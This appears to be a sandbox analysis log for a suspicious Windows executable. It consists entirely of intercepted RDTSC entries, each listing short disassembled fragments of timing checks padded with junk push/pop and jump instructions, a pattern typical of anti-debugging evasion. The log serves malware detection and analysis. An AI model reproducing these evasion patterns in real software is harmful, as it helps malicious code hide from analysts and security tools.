Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 98FF71 second address: 98FF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 98FF77 second address: 98FF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 98FF7C second address: 98FFAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edx 0x0000000e push eax 0x0000000f jmp 00007FE804B276CCh 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 990136 second address: 99013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 99013A second address: 990150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804B276D0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 990150 second address: 990176 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE804FE5CC8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push edx 0x0000000b jmp 00007FE804FE5CD9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9902E1 second address: 9902E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 990537 second address: 99053B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 99053B second address: 990547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE804B276C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 99A149 second address: 99A155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FE804FE5CC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 99A155 second address: 99A159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9982D1 second address: 9982D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9982D9 second address: 9982DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9982DF second address: 9982FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FE804FE5CD5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998A4F second address: 998A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jbe 00007FE804B276C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998BD3 second address: 998BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998BD7 second address: 998BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE804B276C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FE804B276D2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998BF5 second address: 998BFA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998BFA second address: 998C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998C00 second address: 998C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FE804FE5CC6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998C0D second address: 998C13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998C13 second address: 998C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FE804FE5CCBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998C2B second address: 998C6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D9h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FE804B276D4h 0x00000011 jmp 00007FE804B276CEh 0x00000016 jmp 00007FE804B276CDh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998C6F second address: 998C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998DFA second address: 998E0F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FE804B276D0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 998F92 second address: 998F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 999103 second address: 99910C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9998C9 second address: 9998CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 99C61B second address: 99C630 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE804B276C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FE804B276C8h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 99C630 second address: 99C636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 99DC61 second address: 99DC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jne 00007FE804B276CEh 0x0000000d popad 0x0000000e js 00007FE804B276EAh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 99DC80 second address: 99DC96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FE804FE5CCCh 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9A25F6 second address: 9A25FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9AE5A6 second address: 9AE5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9AE5AE second address: 9AE5B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E7807 second address: 8E782D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE804FE5CC6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE804FE5CD4h 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E782D second address: 8E7832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E7832 second address: 8E7846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE804FE5CD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9C33FB second address: 9C3403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9C3403 second address: 9C3408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9CB646 second address: 9CB68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE804B276C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e js 00007FE804B276C6h 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007FE804B276D6h 0x0000001d jp 00007FE804B276D6h 0x00000023 jmp 00007FE804B276D0h 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9CB68D second address: 9CB699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9CB82B second address: 9CB840 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FE804B276D0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9CB840 second address: 9CB849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9CBCA9 second address: 9CBCAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9CBCAD second address: 9CBCB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9CBCB5 second address: 9CBCE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 je 00007FE804B276C6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jl 00007FE804B276CEh 0x00000015 jnp 00007FE804B276C6h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d jp 00007FE804B276D2h 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9D0427 second address: 9D0432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9D0432 second address: 9D0458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE804B276D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE804B276CFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9D0458 second address: 9D0472 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE804FE5CD5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9D920B second address: 9D924F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE804B276E5h 0x00000008 jmp 00007FE804B276D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9D924F second address: 9D9253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9D9253 second address: 9D927E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE804B276C6h 0x00000008 ja 00007FE804B276C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE804B276D7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9D927E second address: 9D9282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9D9282 second address: 9D9288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9D9288 second address: 9D9291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9DAAF8 second address: 9DAAFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9DCF02 second address: 9DCF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9DCF08 second address: 9DCF1B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE804B276C6h 0x00000008 jl 00007FE804B276C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9EE62E second address: 9EE637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9EE637 second address: 9EE641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE804B276C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9EE641 second address: 9EE64C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9F0701 second address: 9F0707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9F0707 second address: 9F070D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9F03DC second address: 9F03E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9F03E2 second address: 9F03F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007FE804FE5CC6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A02D17 second address: A02D3B instructions: 0x00000000 rdtsc 0x00000002 je 00007FE804B276D2h 0x00000008 jmp 00007FE804B276CCh 0x0000000d jmp 00007FE804B276CAh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A02D3B second address: A02D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0660A second address: A0660E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0660E second address: A06612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06759 second address: A0676B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE804B276C6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0676B second address: A06771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06771 second address: A06778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06778 second address: A0677E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0677E second address: A06784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A068F9 second address: A06907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007FE804FE5CC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06AA3 second address: A06AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE804B276C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06AB2 second address: A06AF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CCDh 0x00000007 jmp 00007FE804FE5CD8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f je 00007FE804FE5CE0h 0x00000015 pushad 0x00000016 jmp 00007FE804FE5CCAh 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06AF1 second address: A06AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06C4B second address: A06C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06F8C second address: A06FA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06FA0 second address: A06FAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06FAC second address: A06FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06FB2 second address: A06FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A06FB6 second address: A06FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0B86E second address: A0B872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0BDA3 second address: A0BDA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0BDA7 second address: A0BDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a or dx, AE01h 0x0000000f push dword ptr [ebp+122D2E1Dh] 0x00000015 adc edx, 013B7631h 0x0000001b call 00007FE804FE5CC9h 0x00000020 jmp 00007FE804FE5CD6h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FE804FE5CD9h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0BDFD second address: A0BE28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edi 0x0000000e pushad 0x0000000f jmp 00007FE804B276CFh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0BE28 second address: A0BE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 jl 00007FE804FE5CD8h 0x0000000e jmp 00007FE804FE5CD2h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 jmp 00007FE804FE5CD4h 0x0000001d push eax 0x0000001e push edx 0x0000001f jne 00007FE804FE5CC6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0D841 second address: A0D847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0D369 second address: A0D36E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0D36E second address: A0D383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FE804B276C6h 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FE804B276C6h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
